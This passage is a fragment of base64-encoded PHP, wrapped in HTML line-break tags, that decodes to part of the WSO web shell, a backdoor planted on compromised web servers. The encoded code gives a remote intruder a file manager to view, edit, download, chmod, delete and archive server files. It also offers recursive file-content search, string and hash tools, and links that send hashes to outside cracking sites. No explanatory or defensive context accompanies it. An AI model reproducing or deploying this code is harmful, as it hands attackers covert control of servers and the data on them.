/&gt;dHkgKCRmWydsaW5rJ10pID8gJycgOiAidGl0bGU9J3skZlsnbGluayddfSciKSAu&lt;br /&gt;ICc+PGI+WyAnIC4gaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKSAuICcgXTwv&lt;br /&gt;Yj4nKS4nPC9hPjwvdGQ+PHRkPicuKCgkZlsndHlwZSddPT0nZmlsZScpP3dzb1Zp&lt;br /&gt;ZXdTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3RkPjx0ZD4nLiRmWydt&lt;br /&gt;b2RpZnknXS4nPC90ZD48dGQ+Jy4kZlsnb3duZXInXS4nLycuJGZbJ2dyb3VwJ10u&lt;br /&gt;JzwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51&lt;br /&gt;bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsXCdjaG1vZFwnKSI+Jy4k&lt;br /&gt;ZlsncGVybXMnXQoJCQkuJzwvdGQ+PHRkPjxhIGhyZWY9IiMiIG9uY2xpY2s9Imco&lt;br /&gt;XCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidc&lt;br /&gt;JywgXCdyZW5hbWVcJykiPlI8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdG&lt;br /&gt;aWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywg&lt;br /&gt;XCd0b3VjaFwnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGhy&lt;br /&gt;ZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5j&lt;br /&gt;b2RlKCRmWyduYW1lJ10pLidcJywgXCdlZGl0XCcpIj5FPC9hPiA8YSBocmVmPSIj&lt;br /&gt;IiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgk&lt;br /&gt;ZlsnbmFtZSddKS4nXCcsIFwnZG93bmxvYWRcJykiPkQ8L2E+JzonJykuJzwvdGQ+&lt;br /&gt;PC90cj4nOwoJCSRsID0gJGw/MDoxOwoJfQoJZWNobyAiPHRyPjx0ZCBjb2xzcGFu&lt;br /&gt;PTc+Cgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdGaWxlc01hbic+&lt;br /&gt;Cgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNp&lt;br /&gt;YWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz4KCTxpbnB1dCB0eXBlPWhpZGRl&lt;br /&gt;biBuYW1lPWNoYXJzZXQgdmFsdWU9JyIuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQn&lt;br /&gt;XSk/JF9QT1NUWydjaGFyc2V0J106JycpLiInPgoJPHNlbGVjdCBuYW1lPSdwMSc+&lt;br /&gt;PG9wdGlvbiB2YWx1ZT0nY29weSc+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9&lt;br /&gt;J21vdmUnPk1vdmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdkZWxldGUnPkRlbGV0&lt;br /&gt;ZTwvb3B0aW9uPiI7CiAgICBpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkK&lt;br /&gt;ICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSd6aXAnPkNvbXByZXNzICh6aXAp&lt;br /&gt;PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ndW56aXAnPlVuY29tcHJlc3MgKHppcCk8&lt;br /&gt;L29wdGlvbj4iOwogICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0ndGFyJz5Db21wcmVz&lt;br /&gt;cyAodGFyLmd6KTwvb3B0aW9uPiI7CiAgICBpZighZW1wdHkoJF9DT09LSUVbJ2Fj&lt;br /&gt;dCddKSAmJiBAY291bnQoJF9DT09LSUVbJ2YnXSkpCiAgICAgICAgZWNobyAiPG9w&lt;br /&gt;dGlvbiB2YWx1ZT0ncGFzdGUnPlBhc3RlIC8gQ29tcHJlc3M8L29wdGlvbj4iOwog&lt;br /&gt;ICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7IjsKICAgIGlmKCFlbXB0eSgkX0NPT0tJ&lt;br /&gt;RVsnYWN0J10pICYmIEBjb3VudCgkX0NPT0tJRVsnZiddKSAmJiAoKCRfQ09PS0lF&lt;br /&gt;WydhY3QnXSA9PSAnemlwJykgfHwgKCRfQ09PS0lFWydhY3QnXSA9PSAndGFyJykp&lt;br /&gt;KQogICAgICAgIGVjaG8gImZpbGUgbmFtZTogPGlucHV0IHR5cGU9dGV4dCBuYW1l&lt;br /&gt;PXAyIHZhbHVlPSd3c29fIiAuIGRhdGUoIlltZF9IaXMiKSAuICIuIiAuICgkX0NP&lt;br /&gt;T0tJRVsnYWN0J10gPT0gJ3ppcCc/J3ppcCc6J3Rhci5neicpIC4gIic+Jm5ic3A7&lt;br /&gt;IjsKICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC90&lt;br /&gt;ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvZGl2PiI7Cgl3c29Gb290ZXIoKTsKfQoK&lt;br /&gt;ZnVuY3Rpb24gYWN0aW9uU3RyaW5nVG9vbHMoKSB7CglpZighZnVuY3Rpb25fZXhp&lt;br /&gt;c3RzKCdoZXgyYmluJykpIHtmdW5jdGlvbiBoZXgyYmluKCRwKSB7cmV0dXJuIGRl&lt;br /&gt;Y2JpbihoZXhkZWMoJHApKTt9fQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnYmlu&lt;br /&gt;aGV4JykpIHtmdW5jdGlvbiBiaW5oZXgoJHApIHtyZXR1cm4gZGVjaGV4KGJpbmRl&lt;br /&gt;YygkcCkpO319CglpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYXNjaWknKSkge2Z1&lt;br /&gt;bmN0aW9uIGhleDJhc2NpaSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RyTGVuKCRw&lt;br /&gt;KTskaSs9Mil7JHIuPWNocihoZXhkZWMoJHBbJGldLiRwWyRpKzFdKSk7fXJldHVy&lt;br /&gt;biAkcjt9fQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnYXNjaWkyaGV4JykpIHtmdW5j&lt;br /&gt;dGlvbiBhc2NpaTJoZXgoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7&lt;br /&gt;KyskaSkkci49IHNwcmludGYoJyUwMlgnLG9yZCgkcFskaV0pKTtyZXR1cm4gc3Ry&lt;br /&gt;dG91cHBlcigkcik7fX0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5j&lt;br /&gt;b2RlJykpIHtmdW5jdGlvbiBmdWxsX3VybGVuY29kZSgkcCl7JHI9Jyc7Zm9yKCRp&lt;br /&gt;PTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gJyUnLmRlY2hleChvcmQoJHBbJGld&lt;br /&gt;KSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319Cgkkc3RyaW5nVG9vbHMgPSBhcnJh&lt;br /&gt;eSgKCQknQmFzZTY0IGVuY29kZScgPT4gJ2Jhc2U2NF9lbmNvZGUnLAoJCSdCYXNl&lt;br /&gt;NjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsCgkJJ1VybCBlbmNvZGUnID0+&lt;br /&gt;ICd1cmxlbmNvZGUnLAoJCSdVcmwgZGVjb2RlJyA9PiAndXJsZGVjb2RlJywKCQkn&lt;br /&gt;RnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsCgkJJ21kNSBoYXNo&lt;br /&gt;JyA9PiAnbWQ1JywKCQknc2hhMSBoYXNoJyA9PiAnc2hhMScsCgkJJ2NyeXB0JyA9&lt;br /&gt;PiAnY3J5cHQnLAoJCSdDUkMzMicgPT4gJ2NyYzMyJywKCQknQVNDSUkgdG8gSEVY&lt;br /&gt;JyA9PiAnYXNjaWkyaGV4JywKCQknSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lp&lt;br /&gt;JywKCQknSEVYIHRvIERFQycgPT4gJ2hleGRlYycsCgkJJ0hFWCB0byBCSU4nID0+&lt;br /&gt;ICdoZXgyYmluJywKCQknREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsCgkJJ0RFQyB0&lt;br /&gt;byBCSU4nID0+ICdkZWNiaW4nLAoJCSdCSU4gdG8gSEVYJyA9PiAnYmluaGV4JywK&lt;br /&gt;CQknQklOIHRvIERFQycgPT4gJ2JpbmRlYycsCgkJJ1N0cmluZyB0byBsb3dlciBj&lt;br /&gt;YXNlJyA9PiAnc3RydG9sb3dlcicsCgkJJ1N0cmluZyB0byB1cHBlciBjYXNlJyA9&lt;br /&gt;PiAnc3RydG91cHBlcicsCgkJJ0h0bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3Bl&lt;br /&gt;Y2lhbGNoYXJzJywKCQknU3RyaW5nIGxlbmd0aCcgPT4gJ3N0cmxlbicsCgkpOwoJ&lt;br /&gt;aWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7CgkJV1NPc2V0Y29va2llKG1kNSgk&lt;br /&gt;X1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4JywgdHJ1ZSk7CgkJb2Jfc3RhcnQo&lt;br /&gt;KTsKCQlpZihpbl9hcnJheSgkX1BPU1RbJ3AxJ10sICRzdHJpbmdUb29scykpCgkJ&lt;br /&gt;CWVjaG8gJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSk7CgkJJHRlbXAgPSAiZG9j&lt;br /&gt;dW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLnN0eWxlLmRpc3BsYXk9&lt;br /&gt;Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLmlubmVySFRN&lt;br /&gt;TD0nIi5hZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigp&lt;br /&gt;KSwiXG5cclx0XFwnXDAiKS4iJztcbiI7CgkJZWNobyBzdHJsZW4oJHRlbXApLCAi&lt;br /&gt;XG4iLCAkdGVtcDsKCQlleGl0OwoJfQogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4&lt;br /&gt;J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkKCQlXU09zZXRjb29raWUobWQ1KCRf&lt;br /&gt;U0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnLCAwKTsKCXdzb0hlYWRlcigpOwoJ&lt;br /&gt;ZWNobyAnPGgxPlN0cmluZyBjb252ZXJzaW9uczwvaDE+PGRpdiBjbGFzcz1jb250&lt;br /&gt;ZW50Pic7CgllY2hvICI8Zm9ybSBuYW1lPSd0b29sc0Zvcm0nIG9uU3VibWl0PSdp&lt;br /&gt;Zih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5zZWxlY3RUb29s&lt;br /&gt;LnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMu&lt;br /&gt;c2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9IHJldHVybiBmYWxz&lt;br /&gt;ZTsnPjxzZWxlY3QgbmFtZT0nc2VsZWN0VG9vbCc+IjsKCWZvcmVhY2goJHN0cmlu&lt;br /&gt;Z1Rvb2xzIGFzICRrID0+ICR2KQoJCWVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRt&lt;br /&gt;bHNwZWNpYWxjaGFycygkdikuIic+Ii4kay4iPC9vcHRpb24+IjsKCQllY2hvICI8&lt;br /&gt;L3NlbGVjdD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nLz4gPGlucHV0&lt;br /&gt;IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgIi4oQCRfQ09PS0lFW21k&lt;br /&gt;NSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4i&lt;br /&gt;PiBzZW5kIHVzaW5nIEFKQVg8YnI+PHRleHRhcmVhIG5hbWU9J2lucHV0JyBzdHls&lt;br /&gt;ZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPWJpZ2FyZWE+Ii4oZW1wdHkoJF9QT1NU&lt;br /&gt;WydwMSddKT8nJzpodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ3AyJ10pKS4iPC90&lt;br /&gt;ZXh0YXJlYT48L2Zvcm0+PHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nIi4oZW1wdHko&lt;br /&gt;JF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLiJtYXJnaW4tdG9wOjVw&lt;br /&gt;eCcgaWQ9J3N0ck91dHB1dCc+IjsKCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7&lt;br /&gt;CgkJaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKWVjaG8g&lt;br /&gt;aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKSk7Cgl9&lt;br /&gt;CgllY2hvIjwvcHJlPjwvZGl2Pjxicj48aDE+U2VhcmNoIGZpbGVzOjwvaDE+PGRp&lt;br /&gt;diBjbGFzcz1jb250ZW50PgoJCTxmb3JtIG9uc3VibWl0PVwiZyhudWxsLHRoaXMu&lt;br /&gt;Y3dkLnZhbHVlLG51bGwsdGhpcy50ZXh0LnZhbHVlLHRoaXMuZmlsZW5hbWUudmFs&lt;br /&gt;dWUpO3JldHVybiBmYWxzZTtcIj48dGFibGUgY2VsbHBhZGRpbmc9JzEnIGNlbGxz&lt;br /&gt;cGFjaW5nPScwJyB3aWR0aD0nNTAlJz4KCQkJPHRyPjx0ZCB3aWR0aD0nMSUnPlRl&lt;br /&gt;eHQ6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3RleHQnIHN0eWxl&lt;br /&gt;PSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+CgkJCTx0cj48dGQ+UGF0aDo8L3RkPjx0&lt;br /&gt;ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY3dkJyB2YWx1ZT0nIi4gaHRtbHNw&lt;br /&gt;ZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJyBzdHlsZT0nd2lkdGg6MTAw&lt;br /&gt;JSc+PC90ZD48L3RyPgoJCQk8dHI+PHRkPk5hbWU6PC90ZD48dGQ+PGlucHV0IHR5&lt;br /&gt;cGU9J3RleHQnIG5hbWU9J2ZpbGVuYW1lJyB2YWx1ZT0nKicgc3R5bGU9J3dpZHRo&lt;br /&gt;OjEwMCUnPjwvdGQ+PC90cj4KCQkJPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlw&lt;br /&gt;ZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwvdGQ+PC90cj4KCQkJPC90YWJsZT48L2Zv&lt;br /&gt;cm0+IjsKCglmdW5jdGlvbiB3c29SZWN1cnNpdmVHbG9iKCRwYXRoKSB7CgkJaWYo&lt;br /&gt;c3Vic3RyKCRwYXRoLCAtMSkgIT0gJy8nKQoJCQkkcGF0aC49Jy8nOwoJCSRwYXRo&lt;br /&gt;cyA9IEBhcnJheV91bmlxdWUoQGFycmF5X21lcmdlKEBnbG9iKCRwYXRoLiRfUE9T&lt;br /&gt;VFsncDMnXSksIEBnbG9iKCRwYXRoLicqJywgR0xPQl9PTkxZRElSKSkpOwoJCWlm&lt;br /&gt;KGlzX2FycmF5KCRwYXRocykmJkBjb3VudCgkcGF0aHMpKSB7CgkJCWZvcmVhY2go&lt;br /&gt;JHBhdGhzIGFzICRpdGVtKSB7CgkJCQlpZihAaXNfZGlyKCRpdGVtKSl7CgkJCQkJ&lt;br /&gt;aWYoJHBhdGghPSRpdGVtKQoJCQkJCQl3c29SZWN1cnNpdmVHbG9iKCRpdGVtKTsK&lt;br /&gt;CQkJCX0gZWxzZSB7CgkJCQkJaWYoZW1wdHkoJF9QT1NUWydwMiddKSB8fCBAc3Ry&lt;br /&gt;cG9zKGZpbGVfZ2V0X2NvbnRlbnRzKCRpdGVtKSwgJF9QT1NUWydwMiddKSE9PWZh&lt;br /&gt;bHNlKQoJCQkJCQllY2hvICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNU&lt;br /&gt;b29sc1wiLG51bGwsXCIiLnVybGVuY29kZSgkaXRlbSkuIlwiLCBcInZpZXdcIixc&lt;br /&gt;IlwiKSc+Ii5odG1sc3BlY2lhbGNoYXJzKCRpdGVtKS4iPC9hPjxicj4iOwoJCQkJ&lt;br /&gt;fQoJCQl9CgkJfQoJfQoJaWYoQCRfUE9TVFsncDMnXSkKCQl3c29SZWN1cnNpdmVH&lt;br /&gt;bG9iKCRfUE9TVFsnYyddKTsKCWVjaG8gIjwvZGl2Pjxicj48aDE+U2VhcmNoIGZv&lt;br /&gt;ciBoYXNoOjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgoJCTxmb3JtIG1ldGhvZD0n&lt;br /&gt;cG9zdCcgdGFyZ2V0PSdfYmxhbmsnIG5hbWU9J2hmJz4KCQkJPGlucHV0IHR5cGU9&lt;br /&gt;J3RleHQnIG5hbWU9J2hhc2gnIHN0eWxlPSd3aWR0aDoyMDBweDsnPjxicj4KICAg&lt;br /&gt;ICAgICAgICAgPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYWN0JyB2YWx1ZT0n&lt;br /&gt;ZmluZCcvPgoJCQk8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0naGFzaGNyYWNr&lt;br /&gt;aW5nLnJ1JyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwczovL2hh&lt;br /&gt;c2hjcmFja2luZy5ydS9pbmRleC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+&lt;br /&gt;PGJyPgoJCQk8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nbWQ1LnJlZG5vaXpl&lt;br /&gt;LmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL21kNS5y&lt;br /&gt;ZWRub2l6ZS5jb20vP3E9Jytkb2N1bWVudC5oZi5oYXNoLnZhbHVlKycmcz1tZDUn&lt;br /&gt;O2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPgogICAgICAgICAgICA8aW5wdXQg&lt;br /&gt;dHlwZT0nYnV0dG9uJyB2YWx1ZT0nY3JhY2tmb3IubWUnIG9uY2xpY2s9XCJkb2N1&lt;br /&gt;bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9jcmFja2Zvci5tZS9pbmRleC5waHAnO2Rv&lt;br /&gt;Y3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPgoJCTwvZm9ybT48L2Rpdj4iOwoJd3Nv&lt;br /&gt;Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkZpbGVzVG9vbHMoKSB7CglpZigg&lt;br /&gt;aXNzZXQoJF9QT1NUWydwMSddKSApCgkJJF9QT1NUWydwMSddID0gdXJsZGVjb2Rl&lt;br /&gt;KCRfUE9TVFsncDEnXSk7CglpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7&lt;br /&gt;CgkJaWYoQGlzX2ZpbGUoJF9QT1NUWydwMSddKSAmJiBAaXNfcmVhZGFibGUoJF9Q&lt;br /&gt;T1NUWydwMSddKSkgewoJCQlvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7&lt;br /&gt;CgkJCWhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmls&lt;br /&gt;ZW5hbWU9Ii5iYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKTsKCQkJaWYgKGZ1bmN0aW9u&lt;br /&gt;X2V4aXN0cygibWltZV9jb250ZW50X3R5cGUiKSkgewoJCQkJJHR5cGUgPSBAbWlt&lt;br /&gt;ZV9jb250ZW50X3R5cGUoJF9QT1NUWydwMSddKTsKCQkJCWhlYWRlcigiQ29udGVu&lt;br /&gt;dC1UeXBlOiAiIC4gJHR5cGUpOwoJCQl9IGVsc2UKICAgICAgICAgICAgICAgIGhl&lt;br /&gt;YWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsK&lt;br /&gt;CQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgInIiKTsKCQkJaWYoJGZwKSB7&lt;br /&gt;CgkJCQl3aGlsZSghQGZlb2YoJGZwKSkKCQkJCQllY2hvIEBmcmVhZCgkZnAsIDEw&lt;br /&gt;MjQpOwoJCQkJZmNsb3NlKCRmcCk7CgkJCX0KCQl9ZXhpdDsKCX0KCWlmKCBAJF9Q&lt;br /&gt;T1NUWydwMiddID09ICdta2ZpbGUnICkgewoJCWlmKCFmaWxlX2V4aXN0cygkX1BP&lt;br /&gt;U1RbJ3AxJ10pKSB7CgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICd3Jyk7&lt;br /&gt;CgkJCWlmKCRmcCkgewoJCQkJJF9QT1NUWydwMiddID0gImVkaXQiOwoJCQkJZmNs&lt;br /&gt;b3NlKCRmcCk7CgkJCX0KCQl9Cgl9Cgl3c29IZWFkZXIoKTsKCWVjaG8gJzxoMT5G&lt;br /&gt;aWxlIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKCWlmKCAhZmlsZV9l&lt;br /&gt;eGlzdHMoQCRfUE9TVFsncDEnXSkgKSB7CgkJZWNobyAnRmlsZSBub3QgZXhpc3Rz&lt;br /&gt;JzsKCQl3c29Gb290ZXIoKTsKCQlyZXR1cm47Cgl9CgkkdWlkID0gQHBvc2l4X2dl&lt;br /&gt;dHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7CglpZighJHVpZCkgewoJ&lt;br /&gt;CSR1aWRbJ25hbWUnXSA9IEBmaWxlb3duZXIoJF9QT1NUWydwMSddKTsKCQkkZ2lk&lt;br /&gt;WyduYW1lJ10gPSBAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSk7Cgl9IGVsc2UgJGdp&lt;br /&gt;ZCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSkpOwoJ&lt;br /&gt;ZWNobyAnPHNwYW4+TmFtZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycyhAYmFz&lt;br /&gt;ZW5hbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5TaXplOjwvc3Bhbj4gJy4oaXNf&lt;br /&gt;ZmlsZSgkX1BPU1RbJ3AxJ10pP3dzb1ZpZXdTaXplKGZpbGVzaXplKCRfUE9TVFsn&lt;br /&gt;cDEnXSkpOictJykuJyA8c3Bhbj5QZXJtaXNzaW9uOjwvc3Bhbj4gJy53c29QZXJt&lt;br /&gt;c0NvbG9yKCRfUE9TVFsncDEnXSkuJyA8c3Bhbj5Pd25lci9Hcm91cDo8L3NwYW4+&lt;br /&gt;ICcuJHVpZFsnbmFtZSddLicvJy4kZ2lkWyduYW1lJ10uJzxicj4nOwoJZWNobyAn&lt;br /&gt;PHNwYW4+Q3JlYXRlIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxm&lt;br /&gt;aWxlY3RpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5BY2Nlc3MgdGltZTo8L3Nw&lt;br /&gt;YW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVhdGltZSgkX1BPU1RbJ3AxJ10p&lt;br /&gt;KS4nIDxzcGFuPk1vZGlmeSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6&lt;br /&gt;cycsZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLic8YnI+PGJyPic7CglpZiggZW1w&lt;br /&gt;dHkoJF9QT1NUWydwMiddKSApCgkJJF9QT1NUWydwMiddID0gJ3ZpZXcnOwoJaWYo&lt;br /&gt;IGlzX2ZpbGUoJF9QT1NUWydwMSddKSApCgkJJG0gPSBhcnJheSgnVmlldycsICdI&lt;br /&gt;aWdobGlnaHQnLCAnRG93bmxvYWQnLCAnSGV4ZHVtcCcsICdFZGl0JywgJ0NobW9k&lt;br /&gt;JywgJ1JlbmFtZScsICdUb3VjaCcpOwoJZWxzZQoJCSRtID0gYXJyYXkoJ0NobW9k&lt;br /&gt;JywgJ1JlbmFtZScsICdUb3VjaCcpOwoJZm9yZWFjaCgkbSBhcyAkdikKCQllY2hv&lt;br /&gt;ICc8YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsXCcnIC4gdXJsZW5jb2Rl&lt;br /&gt;KCRfUE9TVFsncDEnXSkgLiAnXCcsXCcnLnN0cnRvbG93ZXIoJHYpLidcJykiPicu&lt;br /&gt;KChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsncDInXSk/JzxiPlsgJy4kdi4nIF08&lt;br /&gt;L2I+JzokdikuJzwvYT4gJzsKCWVjaG8gJzxicj48YnI+JzsKCXN3aXRjaCgkX1BP&lt;br /&gt;U1RbJ3AyJ10pIHsKCQljYXNlICd2aWV3JzoKCQkJZWNobyAnPHByZSBjbGFzcz1t&lt;br /&gt;bDE+JzsKCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKCQkJaWYo&lt;br /&gt;JGZwKSB7CgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQoJCQkJCWVjaG8gaHRtbHNw&lt;br /&gt;ZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7CgkJCQlAZmNsb3NlKCRmcCk7&lt;br /&gt;CgkJCX0KCQkJZWNobyAnPC9wcmU+JzsKCQkJYnJlYWs7CgkJY2FzZSAnaGlnaGxp&lt;br /&gt;Z2h0JzoKCQkJaWYoIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pICkgewoJCQkJ&lt;br /&gt;ZWNobyAnPGRpdiBjbGFzcz1tbDEgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNl&lt;br /&gt;MWUxZTE7Y29sb3I6YmxhY2s7Ij4nOwoJCQkJJGNvZGUgPSBAaGlnaGxpZ2h0X2Zp&lt;br /&gt;bGUoJF9QT1NUWydwMSddLHRydWUpOwoJCQkJZWNobyBzdHJfcmVwbGFjZShhcnJh&lt;br /&gt;eSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250Picp&lt;br /&gt;LCRjb2RlKS4nPC9kaXY+JzsKCQkJfQoJCQlicmVhazsKCQljYXNlICdjaG1vZCc6&lt;br /&gt;CgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKCQkJCSRwZXJtcyA9IDA7&lt;br /&gt;CgkJCQlmb3IoJGk9c3RybGVuKCRfUE9TVFsncDMnXSktMTskaT49MDstLSRpKQoJ&lt;br /&gt;CQkJCSRwZXJtcyArPSAoaW50KSRfUE9TVFsncDMnXVskaV0qcG93KDgsIChzdHJs&lt;br /&gt;ZW4oJF9QT1NUWydwMyddKS0kaS0xKSk7CgkJCQlpZighQGNobW9kKCRfUE9TVFsn&lt;br /&gt;cDEnXSwgJHBlcm1zKSkKCQkJCQllY2hvICdDYW5cJ3Qgc2V0IHBlcm1pc3Npb25z&lt;br /&gt;ITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7&lt;br /&gt;CgkJCX0KCQkJY2xlYXJzdGF0Y2FjaGUoKTsKCQkJZWNobyAnPHNjcmlwdD5wM189&lt;br /&gt;IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVy&lt;br /&gt;bGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsdGhpcy5jaG1vZC52YWx1&lt;br /&gt;ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZh&lt;br /&gt;bHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3Ax&lt;br /&gt;J10pKSwtNCkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3Jt&lt;br /&gt;Pic7CgkJCWJyZWFrOwoJCWNhc2UgJ2VkaXQnOgoJCQlpZiggIWlzX3dyaXRhYmxl&lt;br /&gt;KCRfUE9TVFsncDEnXSkpIHsKCQkJCWVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJs&lt;br /&gt;ZSc7CgkJCQlicmVhazsKCQkJfQoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkg&lt;br 